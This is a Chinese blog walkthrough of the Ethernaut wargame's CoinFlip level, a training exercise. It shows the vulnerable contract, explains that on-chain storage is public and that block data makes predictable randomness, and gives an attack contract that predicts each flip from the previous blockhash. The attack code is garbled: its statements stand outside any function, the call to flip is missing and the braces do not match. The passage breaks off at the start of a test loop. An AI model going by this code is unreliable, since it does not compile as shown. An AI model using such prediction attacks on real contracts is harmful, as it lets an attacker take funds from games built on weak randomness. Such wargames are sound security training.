bin2chen

Posted on

# Ethernaut系列-Level 3(CoinFlip)

## LEVEL 3 （CoinFlip）

``````// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
``````

## 通关要求

consecutiveWins = 10

## 要点

1. 合约的存储变量，包含private，对外都是可见的，例如通过 web3.eth.getStorageAt(address, position)查看 具体变量在哪个position，会根据变量类型计算，不是按变量顺序123,可能被压缩 参考： https://docs.soliditylang.org/en/v0.8.14/internals/layout_in_storage.html
2. 不要根据block变量来做随机的依据（包括number/timestamp等等），这些都是不安全的

## 解题思路

contracts/03CoinFlipRun.sol

``````interface ILevel {
function flip(bool _guess) external returns (bool);
}

contract CoinFlipRun {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

//从原合约复制过来的代码
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
}
}
``````

test/03CoinFlip.js

``````  it("attacks", async function () {
for (let i = 0; i < 10; i++) {